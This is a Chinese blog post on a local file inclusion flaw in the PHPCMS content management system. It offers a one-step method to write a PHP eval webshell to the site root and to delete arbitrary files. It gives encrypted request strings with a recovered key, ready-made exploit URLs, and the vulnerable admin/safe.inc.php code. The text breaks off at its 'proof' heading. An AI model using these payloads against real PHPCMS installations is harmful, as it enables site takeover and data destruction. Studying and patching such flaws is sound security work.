php unlink加入chomod_phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞-CSDN博客

本文链接：https://blog.csdn.net/weixin_39869693/article/details/111815222

phpcms本地包含类漏洞，如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。

由于phpcms的全局变量机制，导致能拿shell的方法很多，类似的问题不止一个。

admin/safe.inc.php文件是后台扫木马的程序，但是很可惜的是虽然文件名叫做safe，但是一点也不safe。

公布一个本地包含秒杀拿shell的方法。

包含:admin/safe.inc.php文件GET提交一下数据

将在根目录下生成一句话

用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';

加密如下字符串

$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval ($_POST[a])?>&mod=../../admin/safe.inc.php%00';

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=

将在根目录下生成一句话木马

同理任意文件删除漏洞：

$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

贴上存在漏洞的代码://admin/safe.inc.php

// define('IN_PHPCMS', TRUE);

if(empty($action)) $action = "start";$safe = cache_read('safe.php');$filecheck = load('filecheck.class.php');if(empty($safe))

{$safe = array('file_type' => 'php|js',

'code' => '',

'dir' => $filecheck->checked_dirs()

);

}switch ($action)

{...

case 'edit_code':

if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))

{

showmessage('修改成功！');

}break;case 'del_file':

$file_path = urldecode($files);if (empty($file_path))

{

showmessage('请选择文件');

}$file_list = cache_read('scan_backdoor.php');unset($file_list[$file_path]);

cache_write('scan_backdoor.php',$file_list);

@unlink(PHPCMS_ROOT.$file_path);

showmessage('文件删除成功！', '?mod=phpcms&file=safe&action=scan_table');break;...

漏洞证明：